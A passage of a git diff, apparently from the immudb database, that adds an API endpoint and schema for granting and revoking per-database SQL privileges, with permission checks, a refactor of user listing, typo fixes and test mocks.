outboundMarshaler, w, req, err) + return + } + + forward_ImmuService_ChangeSQLPrivileges_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + mux.Handle("POST", pattern_ImmuService_SetActiveUser_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() @@ -3128,6 +3185,26 @@ func RegisterImmuServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux }) + mux.Handle("POST", pattern_ImmuService_ChangeSQLPrivileges_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_ImmuService_ChangeSQLPrivileges_0(rctx, inboundMarshaler, client, req, pathParams) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_ImmuService_ChangeSQLPrivileges_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + mux.Handle("POST", pattern_ImmuService_SetActiveUser_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() @@ -4100,6 +4177,8 @@ var ( pattern_ImmuService_ChangePermission_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"user", "changepermission"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_ImmuService_ChangeSQLPrivileges_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"user", "changesqlprivileges"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_ImmuService_SetActiveUser_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"user", "setactiveUser"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_Login_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0}, []string{"login"}, "", runtime.AssumeColonVerbOpt(true))) @@ -4206,6 +4285,8 @@ var ( forward_ImmuService_ChangePermission_0 = runtime.ForwardResponseMessage + forward_ImmuService_ChangeSQLPrivileges_0 = runtime.ForwardResponseMessage + forward_ImmuService_SetActiveUser_0 = runtime.ForwardResponseMessage forward_ImmuService_Login_0 = runtime.ForwardResponseMessage diff --git a/pkg/api/schema/schema.proto b/pkg/api/schema/schema.proto index 50da7a8828..645784e5cc 100644 --- a/pkg/api/schema/schema.proto +++ b/pkg/api/schema/schema.proto @@ -75,6 +75,20 @@ message User { // Flag indicating whether the user is active or not bool active = 6; + + // List of SQL privileges + repeated SQLPrivilege sqlPrivileges = 7; +} + +enum SQLPrivilege { + UNKNOWN = 0; + SELECT = 1; + CREATE = 2; + INSERT = 3; + UPDATE = 4; + DELETE = 5; + DROP = 6; + ALTER = 7; } message UserList { @@ -1343,6 +1357,22 @@ message ChangePermissionRequest { uint32 permission = 4; } +message ChangeSQLPrivilegesRequest { + // Action to perform + PermissionAction action = 1; + + // Name of the user to update + string username = 2; + + // Name of the database + string database = 3; + + // SQL privileges to grant / revoke + repeated SQLPrivilege privileges = 4; +} + +message ChangeSQLPrivilegesResponse {} + message SetActiveUserRequest { // If true, the user is active bool active = 1; @@ -1575,6 +1605,13 @@ service ImmuService { }; } + rpc ChangeSQLPrivileges(ChangeSQLPrivilegesRequest) returns (ChangeSQLPrivilegesResponse) { + option (google.api.http) = { + post: "/user/changesqlprivileges" + body: "*" + }; + } + rpc SetActiveUser(SetActiveUserRequest) returns (google.protobuf.Empty) { option (google.api.http) = { post: "/user/setactiveUser" diff --git a/pkg/api/schema/schema.swagger.json b/pkg/api/schema/schema.swagger.json index f395e4658c..a8e6be9f80 100644 --- a/pkg/api/schema/schema.swagger.json +++ b/pkg/api/schema/schema.swagger.json @@ -1674,6 +1674,38 @@ ] } }, + "/user/changesqlprivileges": { + "post": { + "operationId": "ImmuService_ChangeSQLPrivileges", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/schemaChangeSQLPrivilegesResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/schemaChangeSQLPrivilegesRequest" + } + } + ], + "tags": [ + "ImmuService" + ] + } + }, "/user/list": { "get": { "operationId": "ImmuService_ListUsers", @@ -1924,6 +1956,33 @@ } } }, + "schemaChangeSQLPrivilegesRequest": { + "type": "object", + "properties": { + "action": { + "$ref": "#/definitions/schemaPermissionAction", + "title": "Action to perform" + }, + "username": { + "type": "string", + "title": "Name of the user to update" + }, + "database": { + "type": "string", + "title": "Name of the database" + }, + "privileges": { + "type": "array", + "items": { + "$ref": "#/definitions/schemaSQLPrivilege" + }, + "title": "SQL privileges to grant / revoke" + } + } + }, + "schemaChangeSQLPrivilegesResponse": { + "type": "object" + }, "schemaChunk": { "type": "object", "properties": { @@ -3258,6 +3317,20 @@ } } }, + "schemaSQLPrivilege": { + "type": "string", + "enum": [ + "UNKNOWN", + "SELECT", + "CREATE", + "INSERT", + "UPDATE", + "DELETE", + "DROP", + "ALTER" + ], + "default": "UNKNOWN" + }, "schemaSQLQueryRequest": { "type": "object", "properties": { @@ -3774,6 +3847,13 @@ "active": { "type": "boolean", "title": "Flag indicating whether the user is active or not" + }, + "sqlPrivileges": { + "type": "array", + "items": { + "$ref": "#/definitions/schemaSQLPrivilege" + }, + "title": "List of SQL privileges" } } }, diff --git a/pkg/api/schema/schema_grpc.pb.go b/pkg/api/schema/schema_grpc.pb.go index 2786dc831d..3a46864cff 100644 --- a/pkg/api/schema/schema_grpc.pb.go +++ b/pkg/api/schema/schema_grpc.pb.go @@ -23,6 +23,7 @@ type ImmuServiceClient interface { CreateUser(ctx context.Context, in *CreateUserRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) ChangePassword(ctx context.Context, in *ChangePasswordRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) ChangePermission(ctx context.Context, in *ChangePermissionRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) + ChangeSQLPrivileges(ctx context.Context, in *ChangeSQLPrivilegesRequest, opts ...grpc.CallOption) (*ChangeSQLPrivilegesResponse, error) SetActiveUser(ctx context.Context, in *SetActiveUserRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) // Deprecated: Do not use. UpdateAuthConfig(ctx context.Context, in *AuthConfig, opts ...grpc.CallOption) (*emptypb.Empty, error) @@ -160,6 +161,15 @@ func (c *immuServiceClient) ChangePermission(ctx context.Context, in *ChangePerm return out, nil } +func (c *immuServiceClient) ChangeSQLPrivileges(ctx context.Context, in *ChangeSQLPrivilegesRequest, opts ...grpc.CallOption) (*ChangeSQLPrivilegesResponse, error) { + out := new(ChangeSQLPrivilegesResponse) + err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/ChangeSQLPrivileges", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + func (c *immuServiceClient) SetActiveUser(ctx context.Context, in *SetActiveUserRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) { out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/SetActiveUser", in, out, opts...) @@ -1104,6 +1114,7 @@ type ImmuServiceServer interface { CreateUser(context.Context, *CreateUserRequest) (*emptypb.Empty, error) ChangePassword(context.Context, *ChangePasswordRequest) (*emptypb.Empty, error) ChangePermission(context.Context, *ChangePermissionRequest) (*emptypb.Empty, error) + ChangeSQLPrivileges(context.Context, *ChangeSQLPrivilegesRequest) (*ChangeSQLPrivilegesResponse, error) SetActiveUser(context.Context, *SetActiveUserRequest) (*emptypb.Empty, error) // Deprecated: Do not use. UpdateAuthConfig(context.Context, *AuthConfig) (*emptypb.Empty, error) @@ -1213,6 +1224,9 @@ func (UnimplementedImmuServiceServer) ChangePassword(context.Context, *ChangePas func (UnimplementedImmuServiceServer) ChangePermission(context.Context, *ChangePermissionRequest) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method ChangePermission not implemented") } +func (UnimplementedImmuServiceServer) ChangeSQLPrivileges(context.Context, *ChangeSQLPrivilegesRequest) (*ChangeSQLPrivilegesResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method ChangeSQLPrivileges not implemented") +} func (UnimplementedImmuServiceServer) SetActiveUser(context.Context, *SetActiveUserRequest) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method SetActiveUser not implemented") } @@ -1504,6 +1518,24 @@ func _ImmuService_ChangePermission_Handler(srv interface{}, ctx context.Context, return interceptor(ctx, in, info, handler) } +func _ImmuService_ChangeSQLPrivileges_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(ChangeSQLPrivilegesRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(ImmuServiceServer).ChangeSQLPrivileges(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.schema.ImmuService/ChangeSQLPrivileges", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(ImmuServiceServer).ChangeSQLPrivileges(ctx, req.(*ChangeSQLPrivilegesRequest)) + } + return interceptor(ctx, in, info, handler) +} + func _ImmuService_SetActiveUser_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(SetActiveUserRequest) if err := dec(in); err != nil { @@ -2833,6 +2865,10 @@ var ImmuService_ServiceDesc = grpc.ServiceDesc{ MethodName: "ChangePermission", Handler: _ImmuService_ChangePermission_Handler, }, + { + MethodName: "ChangeSQLPrivileges", + Handler: _ImmuService_ChangeSQLPrivileges_Handler, + }, { MethodName: "SetActiveUser", Handler: _ImmuService_SetActiveUser_Handler, diff --git a/pkg/api/schema/sql.go b/pkg/api/schema/sql.go index 74999b3189..507909f440 100644 --- a/pkg/api/schema/sql.go +++ b/pkg/api/schema/sql.go @@ -17,6 +17,7 @@ limitations under the License. package schema import ( + "fmt" "time" "github.com/codenotary/immudb/embedded/sql" @@ -157,3 +158,43 @@ func TypedValueToRowValue(tv sql.TypedValue) *SQLValue { } return nil } + +func SQLPrivilegeToProto(p sql.SQLPrivilege) (SQLPrivilege, error) { + switch p { + case sql.SQLPrivilegeSelect: + return SQLPrivilege_SELECT, nil + case sql.SQLPrivilegeCreate: + return SQLPrivilege_CREATE, nil + case sql.SQLPrivilegeInsert: + return SQLPrivilege_INSERT, nil + case sql.SQLPrivilegeUpdate: + return SQLPrivilege_UPDATE, nil + case sql.SQLPrivilegeDelete: + return SQLPrivilege_DELETE, nil + case sql.SQLPrivilegeDrop: + return SQLPrivilege_DROP, nil + case sql.SQLPrivilegeAlter: + return SQLPrivilege_ALTER, nil + } + return SQLPrivilege_UNKNOWN, fmt.Errorf("invalid privilege") +} + +func SQLPrivilegeFromProto(p SQLPrivilege) sql.SQLPrivilege { + switch p { + case SQLPrivilege_SELECT: + return sql.SQLPrivilegeSelect + case SQLPrivilege_CREATE: + return sql.SQLPrivilegeCreate + case SQLPrivilege_INSERT: + return sql.SQLPrivilegeInsert + case SQLPrivilege_UPDATE: + return sql.SQLPrivilegeUpdate + case SQLPrivilege_DELETE: + return sql.SQLPrivilegeDelete + case SQLPrivilege_DROP: + return sql.SQLPrivilegeDrop + case SQLPrivilege_ALTER: + return sql.SQLPrivilegeAlter + } + return "" +} diff --git a/pkg/auth/user.go b/pkg/auth/user.go index 57e80a0b69..45267186c7 100644 --- a/pkg/auth/user.go +++ b/pkg/auth/user.go @@ -24,19 +24,26 @@ import ( // Permission per database type Permission struct { - Permission uint32 `json:"permission"` //permission of type auth.PermissionW - Database string `json:"database"` //databases the user has access to + Permission uint32 `json:"permission"` // permission of type auth.PermissionW + Database string `json:"database"` // databases the user has access to +} + +type SQLPrivilege struct { + Privilege string `json:"privilege"` // sql privilege + Database string `json:"database"` // database to which the privilege applies } // User ... type User struct { - Username string `json:"username"` - HashedPassword []byte `json:"hashedpassword"` - Permissions []Permission `json:"permissions"` - Active bool `json:"active"` - IsSysAdmin bool `json:"-"` //for the sysadmin we'll use this instead of adding all db and permissions to Permissions, to save some cpu cycles - CreatedBy string `json:"createdBy"` //user which created this user - CreatedAt time.Time `json:"createdat"` //time in which this user is created/updated + Username string `json:"username"` + HashedPassword []byte `json:"hashedpassword"` + Permissions []Permission `json:"permissions"` + SQLPrivileges []SQLPrivilege `json:"sqlPrivileges"` + HasPrivileges bool `json:"hasPrivileges"` // needed for backward compatibility + Active bool `json:"active"` + IsSysAdmin bool `json:"-"` // for the sysadmin we'll use this instead of adding all db and permissions to Permissions, to save some cpu cycles + CreatedBy string `json:"createdBy"` // user which created this user + CreatedAt time.Time `json:"createdat"` // time in which this user is created/updated } var ( @@ -122,10 +129,44 @@ func (u *User) RevokePermission(database string) bool { // GrantPermission add permission to database func (u *User) GrantPermission(database string, permission uint32) bool { - //first remove any previous permission for this db + // first remove any previous permission for this db u.RevokePermission(database) perm := Permission{Permission: permission, Database: database} u.Permissions = append(u.Permissions, perm) return true } + +// GrantSQLPrivilege grants sql privilege on the specified database +func (u *User) GrantSQLPrivileges(database string, privileges []string) bool { + for _, p := range privileges { + if !u.HasSQLPrivilege(database, p) { + u.SQLPrivileges = append(u.SQLPrivileges, SQLPrivilege{Database: database, Privilege: p}) + } + } + return false +} + +func (u *User) HasSQLPrivilege(database string, privilege string) bool { + return u.indexOfPrivilege(database, privilege) >= 0 +} + +func (u *User) indexOfPrivilege(database string, privilege string) int { + for i, p := range u.SQLPrivileges { + if p.Database == database && p.Privilege == privilege { + return i + } + } + return -1 +} + +// RevokePrivilege add permission to database +func (u *User) RevokeSQLPrivileges(database string, privileges []string) bool { + for _, p := range privileges { + if idx := u.indexOfPrivilege(database, p); idx >= 0 { + u.SQLPrivileges[idx] = u.SQLPrivileges[0] + u.SQLPrivileges = u.SQLPrivileges[1:] + } + } + return true +} diff --git a/pkg/database/database_test.go b/pkg/database/database_test.go index 9c808a3b1b..d932a6b5c0 100644 --- a/pkg/database/database_test.go +++ b/pkg/database/database_test.go @@ -93,6 +93,24 @@ func (h *dummyMultidbHandler) UseDatabase(ctx context.Context, db string) error return sql.ErrNoSupported } +type mockUser struct{} + +func (u *mockUser) Username() string { + return "default" +} + +func (u *mockUser) Permission() sql.Permission { + return sql.PermissionAdmin +} + +func (u *mockUser) SQLPrivileges() []sql.SQLPrivilege { + return sql.DefaultSQLPrivilegesForPermission(sql.PermissionAdmin) +} + +func (h *dummyMultidbHandler) GetLoggedUser(ctx context.Context) (sql.User, error) { + return &mockUser{}, nil +} + func (h *dummyMultidbHandler) ListUsers(ctx context.Context) ([]sql.User, error) { return nil, sql.ErrNoSupported } @@ -105,6 +123,14 @@ func (h *dummyMultidbHandler) AlterUser(ctx context.Context, username, password return sql.ErrNoSupported } +func (h *dummyMultidbHandler) GrantSQLPrivileges(ctx context.Context, database, username string, privileges []sql.SQLPrivilege) error { + return sql.ErrNoSupported +} + +func (h *dummyMultidbHandler) RevokeSQLPrivileges(ctx context.Context, database, username string, privileges []sql.SQLPrivilege) error { + return sql.ErrNoSupported +} + func (h *dummyMultidbHandler) DropUser(ctx context.Context, username string) error { return sql.ErrNoSupported } diff --git a/pkg/server/multidb_handler.go b/pkg/server/multidb_handler.go index 058a6e4077..3d86414397 100644 --- a/pkg/server/multidb_handler.go +++ b/pkg/server/multidb_handler.go @@ -50,6 +50,30 @@ func (h *multidbHandler) CreateDatabase(ctx context.Context, db string, ifNotExi return err } +func (h *multidbHandler) GetLoggedUser(ctx context.Context) (sql.User, error) { + _, user, err := h.s.getLoggedInUserdataFromCtx(ctx) + if err != nil { + return nil, err + } + + db, err := h.s.getDBFromCtx(ctx, "SQLQuery") + if err != nil { + return nil, err + } + + privileges := make([]sql.SQLPrivilege, len(user.SQLPrivileges)) + for i, p := range user.SQLPrivileges { + privileges[i] = sql.SQLPrivilege(p.Privilege) + } + + permCode := user.WhichPermission(db.GetName()) + return &User{ + username: user.Username, + perm: permissionFromCode(permCode), + sqlPrivileges: privileges, + }, nil +} + func (h *multidbHandler) ListDatabases(ctx context.Context) ([]string, error) { res, err := h.s.DatabaseList(ctx, nil) if err != nil { @@ -57,11 +81,9 @@ func (h *multidbHandler) ListDatabases(ctx context.Context) ([]string, error) { } dbs := make([]string, len(res.Databases)) - for i, db := range res.Databases { dbs[i] = db.DatabaseName } - return dbs, nil } @@ -83,40 +105,72 @@ func (h *multidbHandler) ListUsers(ctx context.Context) ([]sql.User, error) { continue } - var hasPermission *schema.Permission + var perm *schema.Permission if string(user.User) == auth.SysAdminUsername { - hasPermission = &schema.Permission{Database: db.GetName()} + perm = &schema.Permission{Database: db.GetName()} } else { - for _, perm := range user.Permissions { - if perm.Database == db.GetName() { - hasPermission = perm - break - } - } + perm = findPermission(user.Permissions, db.GetName()) + } + + privileges := make([]sql.SQLPrivilege, len(user.SqlPrivileges)) + for i, p := range user.SqlPrivileges { + privileges[i] = schema.SQLPrivilegeFromProto(p) } - if hasPermission != nil { - users = append(users, &User{username: string(user.User), perm: hasPermission.Permission}) + if perm != nil { + users = append(users, &User{username: string(user.User), perm: permissionFromCode(perm.Permission), sqlPrivileges: privileges}) } } return users, nil } +func permissionFromCode(code uint32) sql.Permission { + switch code { + case 1: + { + return sql.PermissionReadOnly + } + case 2: + { + return sql.PermissionReadWrite + } + case 254: + { + return sql.PermissionAdmin + } + } + return sql.PermissionSysAdmin +} + +func findPermission(permissions []*schema.Permission, database string) *schema.Permission { + for _, perm := range permissions { + if perm.Database == database { + return perm + } + } + return nil +} + type User struct { - username string - perm uint32 + username string + perm sql.Permission + sqlPrivileges []sql.SQLPrivilege } func (usr *User) Username() string { return usr.username } -func (usr *User) Permission() uint32 { +func (usr *User) Permission() sql.Permission { return usr.perm } +func (usr *User) SQLPrivileges() []sql.SQLPrivilege { + return usr.sqlPrivileges +} + func permCode(permission sql.Permission) uint32 { switch permission { case sql.PermissionReadOnly: @@ -185,7 +239,33 @@ func (h *multidbHandler) AlterUser(ctx context.Context, username, password strin Action: schema.PermissionAction_GRANT, Permission: permCode(permission), }) + return err +} + +func (h *multidbHandler) GrantSQLPrivileges(ctx context.Context, database, username string, privileges []sql.SQLPrivilege) error { + return h.changeSQLPrivileges(ctx, database, username, privileges, schema.PermissionAction_GRANT) +} + +func (h *multidbHandler) RevokeSQLPrivileges(ctx context.Context, database, username string, privileges []sql.SQLPrivilege) error { + return h.changeSQLPrivileges(ctx, database, username, privileges, schema.PermissionAction_REVOKE) +} +func (h *multidbHandler) changeSQLPrivileges(ctx context.Context, database, username string, privileges []sql.SQLPrivilege, action schema.PermissionAction) error { + ps := make([]schema.SQLPrivilege, len(privileges)) + for i, p := range privileges { + pp, err := schema.SQLPrivilegeToProto(p) + if err != nil { + return err + } + ps[i] = pp + } + + _, err := h.s.ChangeSQLPrivileges(ctx, &schema.ChangeSQLPrivilegesRequest{ + Action: action, + Username: username, + Database: database, + Privileges: ps, + }) return err } diff --git a/pkg/server/server_test.go b/pkg/server/server_test.go index 63a408ad4e..0233d87870 100644 --- a/pkg/server/server_test.go +++ b/pkg/server/server_test.go @@ -50,7 +50,7 @@ import ( ) var testDatabase = "lisbon" -var testUsername = []byte("Sagrada") +var testUsername = []byte("sagrada") var testPassword = []byte("Familia@2") var testKey = []byte("Antoni") var testValue = []byte("Gaudí") @@ -1533,7 +1533,7 @@ func TestServerErrors(t *testing.T) { cpr.Username = auth.SysAdminUsername _, err = s.ChangePermission(userCtx, cpr) errStatus, _ = status.FromError(err) - require.Equal(t, "changing sysadmin permisions is not allowed", errStatus.Message()) + require.Equal(t, "changing sysadmin permissions is not allowed", errStatus.Message()) cpr.Username = username diff --git a/pkg/server/servertest/server_mock.go b/pkg/server/servertest/server_mock.go index c14fd96d6e..78864a1f88 100644 --- a/pkg/server/servertest/server_mock.go +++ b/pkg/server/servertest/server_mock.go @@ -390,3 +390,7 @@ func (s *ServerMock) VerifiableSQLGet(ctx context.Context, req *schema.Verifiabl func (s *ServerMock) TruncateDatabase(ctx context.Context, req *schema.TruncateDatabaseRequest) (*schema.TruncateDatabaseResponse, error) { return s.Srv.TruncateDatabase(ctx, req) } + +func (s *ServerMock) ChangeSQLPrivileges(ctx context.Context, r *schema.ChangeSQLPrivilegesRequest) (*schema.ChangeSQLPrivilegesResponse, error) { + return nil, nil +} diff --git a/pkg/server/user.go b/pkg/server/user.go index a1f111e42c..f360268d7b 100644 --- a/pkg/server/user.go +++ b/pkg/server/user.go @@ -22,6 +22,7 @@ import ( "fmt" "time" + "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/server/sessions" @@ -204,105 +205,102 @@ func (s *ImmuServer) ListUsers(ctx context.Context, req *empty.Empty) (*schema.U for i := 0; i < len(itemList.Entries); i++ { itemList.Entries[i].Key = itemList.Entries[i].Key[1:] - var user auth.User - - err = json.Unmarshal(itemList.Entries[i].Value, &user) + usr, err := unmarshalSchemaUser(itemList.Entries[i].Value) if err != nil { return nil, err } - - permissions := []*schema.Permission{} - - for _, val := range user.Permissions { - permissions = append(permissions, &schema.Permission{ - Database: val.Database, - Permission: val.Permission, - }) - } - - u := schema.User{ - User: []byte(user.Username), - Createdat: user.CreatedAt.String(), - Createdby: user.CreatedBy, - Permissions: permissions, - Active: user.Active, - } - - userlist.Users = append(userlist.Users, &u) + userlist.Users = append(userlist.Users, usr) } - return userlist, nil - } else if db != nil && loggedInuser.WhichPermission(db.GetName()) == auth.PermissionAdmin { // for admin users return only users for the database that is has selected selectedDbname := db.GetName() userlist := &schema.UserList{} for i := 0; i < len(itemList.Entries); i++ { - include := false itemList.Entries[i].Key = itemList.Entries[i].Key[1:] - var user auth.User - - err = json.Unmarshal(itemList.Entries[i].Value, &user) + usr, err := unmarshalSchemaUser(itemList.Entries[i].Value) if err != nil { return nil, err } - permissions := []*schema.Permission{} + include := false - for _, val := range user.Permissions { + for _, val := range usr.Permissions { //check if this user has any permission for this database //include in the reply only if it has any permission for the currently selected database if val.Database == selectedDbname { include = true } - - permissions = append(permissions, &schema.Permission{ - Database: val.Database, - Permission: val.Permission, - }) } if include { - u := schema.User{ - User: []byte(user.Username), - Createdat: user.CreatedAt.String(), - Createdby: user.CreatedBy, - Permissions: permissions, - Active: user.Active, - } - - userlist.Users = append(userlist.Users, &u) + userlist.Users = append(userlist.Users, usr) } } - return userlist, nil - } else { // any other permission return only its data - userlist := &schema.UserList{} - permissions := []*schema.Permission{} - - for _, val := range loggedInuser.Permissions { - permissions = append(permissions, &schema.Permission{ - Database: val.Database, - Permission: val.Permission, - }) + usr, err := toSchemaUser(loggedInuser) + if err != nil { + return nil, err } + return &schema.UserList{Users: []*schema.User{usr}}, nil + } +} + +func unmarshalSchemaUser(data []byte) (*schema.User, error) { + var u auth.User + if err := json.Unmarshal(data, &u); err != nil { + return nil, err + } + return toSchemaUser(&u) +} + +func toSchemaUser(u *auth.User) (*schema.User, error) { + permissions := make([]*schema.Permission, len(u.Permissions)) - u := schema.User{ - User: []byte(loggedInuser.Username), - Createdat: loggedInuser.CreatedAt.String(), - Createdby: loggedInuser.CreatedBy, - Permissions: permissions, - Active: loggedInuser.Active, + for i, val := range u.Permissions { + permissions[i] = &schema.Permission{ + Database: val.Database, + Permission: val.Permission, } + } - userlist.Users = append(userlist.Users, &u) + var privileges []schema.SQLPrivilege - return userlist, nil + if u.HasPrivileges { + privileges = make([]schema.SQLPrivilege, len(u.SQLPrivileges)) + for i, p := range u.SQLPrivileges { + pp, err := schema.SQLPrivilegeToProto(sql.SQLPrivilege(p.Privilege)) + if err != nil { + return nil, err + } + privileges[i] = pp + } + } else { + privileges = make([]schema.SQLPrivilege, 0) + for _, perm := range u.Permissions { + sqlPrivileges := sql.DefaultSQLPrivilegesForPermission(permissionFromCode(perm.Permission)) + for _, sqlPrivilege := range sqlPrivileges { + schemaPrivilege, err := schema.SQLPrivilegeToProto(sqlPrivilege) + if err != nil { + return nil, err + } + privileges = append(privileges, schemaPrivilege) + } + } } + + return &schema.User{ + User: []byte(u.Username), + Createdat: u.CreatedAt.String(), + Createdby: u.CreatedBy, + Permissions: permissions, + SqlPrivileges: privileges, + Active: u.Active, + }, nil } // ChangePassword ... @@ -385,9 +383,16 @@ func (s *ImmuServer) ChangePermission(ctx context.Context, r *schema.ChangePermi if len(r.Username) == 0 { return nil, status.Errorf(codes.InvalidArgument, "username can not be empty") } + if len(r.Database) == 0 { return nil, status.Errorf(codes.InvalidArgument, "database can not be empty") } + + _, err := s.dbList.GetByName(r.Database) + if r.Database != SystemDBName && err != nil { + return nil, status.Errorf(codes.InvalidArgument, "database does not exist") + } + if (r.Action != schema.PermissionAction_GRANT) && (r.Action != schema.PermissionAction_REVOKE) { return nil, status.Errorf(codes.InvalidArgument, "action not recognized") @@ -410,25 +415,25 @@ func (s *ImmuServer) ChangePermission(ctx context.Context, r *schema.ChangePermi } if r.Username == auth.SysAdminUsername { - return nil, status.Errorf(codes.InvalidArgument, "changing sysadmin permisions is not allowed") + return nil, status.Errorf(codes.InvalidArgument, "changing sysadmin permissions is not allowed") } if r.Database == SystemDBName && r.Permission == auth.PermissionRW { return nil, ErrPermissionDenied } - //check if user exists + // check if user exists targetUser, err := s.getUser(ctx, []byte(r.Username)) if err != nil { return nil, status.Errorf(codes.NotFound, "user %s not found", string(r.Username)) } - //target user should be active + // target user should be active if !targetUser.Active { return nil, status.Errorf(codes.FailedPrecondition, "user %s is not active", string(r.Username)) } - //check if requesting user has permission on this database + // check if requesting user has permission on this database if !user.IsSysAdmin { if !user.HasPermission(r.Database, auth.PermissionAdmin) { return nil, status.Errorf(codes.PermissionDenied, "you do not have permission on this database") @@ -450,7 +455,7 @@ func (s *ImmuServer) ChangePermission(ctx context.Context, r *schema.ChangePermi s.Logger.Infof("permissions of user %s for database %s was changed by user %s", targetUser.Username, r.Database, user.Username) - //remove user from loggedin users + // remove user from loggedin users s.removeUserFromLoginList(targetUser.Username) return new(empty.Empty), nil @@ -532,9 +537,20 @@ func (s *ImmuServer) insertNewUser(ctx context.Context, username []byte, plainPa return nil, nil, err } + sqlPrivileges := sql.DefaultSQLPrivilegesForPermission(permissionFromCode(permission)) // TODO: maybe move to auth package + privileges := make([]auth.SQLPrivilege, len(sqlPrivileges)) + for i, p := range sqlPrivileges { + privileges[i] = auth.SQLPrivilege{ + Database: database, + Privilege: string(p), + } + } + userdata.Active = true + userdata.HasPrivileges = true userdata.Username = string(username) userdata.Permissions = append(userdata.Permissions, auth.Permission{Permission: permission, Database: database}) + userdata.SQLPrivileges = privileges userdata.CreatedBy = createdBy userdata.CreatedAt = time.Now() @@ -651,3 +667,86 @@ func (s *ImmuServer) getLoggedInUserDataFromUsername(username string) (*auth.Use return userdata, nil } + +func (s *ImmuServer) ChangeSQLPrivileges(ctx context.Context, r *schema.ChangeSQLPrivilegesRequest) (*schema.ChangeSQLPrivilegesResponse, error) { + s.Logger.Debugf("ChangeSQLPrivileges %+v", r) + + if s.Options.GetMaintenance() { + return nil, ErrNotAllowedInMaintenanceMode + } + + // sanitize input + { + if len(r.Username) == 0 { + return nil, status.Errorf(codes.InvalidArgument, "username can not be empty") + } + if _, err := s.dbList.GetByName(r.Database); err != nil { + return nil, status.Errorf(codes.InvalidArgument, err.Error()) + } + if (r.Action != schema.PermissionAction_GRANT) && + (r.Action != schema.PermissionAction_REVOKE) { + return nil, status.Errorf(codes.InvalidArgument, "action not recognized") + } + } + + privileges := make([]string, len(r.Privileges)) + for i := range r.Privileges { + p := schema.SQLPrivilegeFromProto(r.Privileges[i]) + if p == "" { + return nil, status.Errorf(codes.InvalidArgument, "SQL privilege not recognized") + } + privileges[i] = string(p) + } + + _, user, err := s.getLoggedInUserdataFromCtx(ctx) + if err != nil { + return nil, err + } + + //do not allow to change own permissions, user can lock itsself out + if r.Username == user.Username { + return nil, status.Errorf(codes.InvalidArgument, "changing your own privileges is not allowed") + } + + if r.Username == auth.SysAdminUsername { + return nil, status.Errorf(codes.InvalidArgument, "changing sysadmin privileges is not allowed") + } + + // check if user exists + targetUser, err := s.getUser(ctx, []byte(r.Username)) + if err != nil { + return nil, status.Errorf(codes.NotFound, "user %s not found", string(r.Username)) + } + + // target user should be active + if !targetUser.Active { + return nil, status.Errorf(codes.FailedPrecondition, "user %s is not active", string(r.Username)) + } + + // check if requesting user has permission on this database + if !user.IsSysAdmin { + if !user.HasPermission(r.Database, auth.PermissionAdmin) { + return nil, status.Errorf(codes.PermissionDenied, "you do not have permission on this database") + } + } + + if r.Action == schema.PermissionAction_REVOKE { + targetUser.RevokeSQLPrivileges(r.Database, privileges) + } else { + targetUser.GrantSQLPrivileges(r.Database, privileges) + } + + targetUser.CreatedBy = user.Username + targetUser.CreatedAt = time.Now() + + if err := s.saveUser(ctx, targetUser); err != nil { + return nil, err + } + + s.Logger.Infof("permissions of user %s for database %s was changed by user %s", targetUser.Username, r.Database, user.Username) + + // remove user from loggedin users + s.removeUserFromLoginList(targetUser.Username) + + return &schema.ChangeSQLPrivilegesResponse{}, nil +} diff --git a/pkg/server/user_test.go b/pkg/server/user_test.go index 7e963d96dc..3f43ecf211 100644 --- a/pkg/server/user_test.go +++ b/pkg/server/user_test.go @@ -18,8 +18,10 @@ package server import ( "context" + "fmt" "testing" + "github.com/codenotary/immudb/embedded/sql" 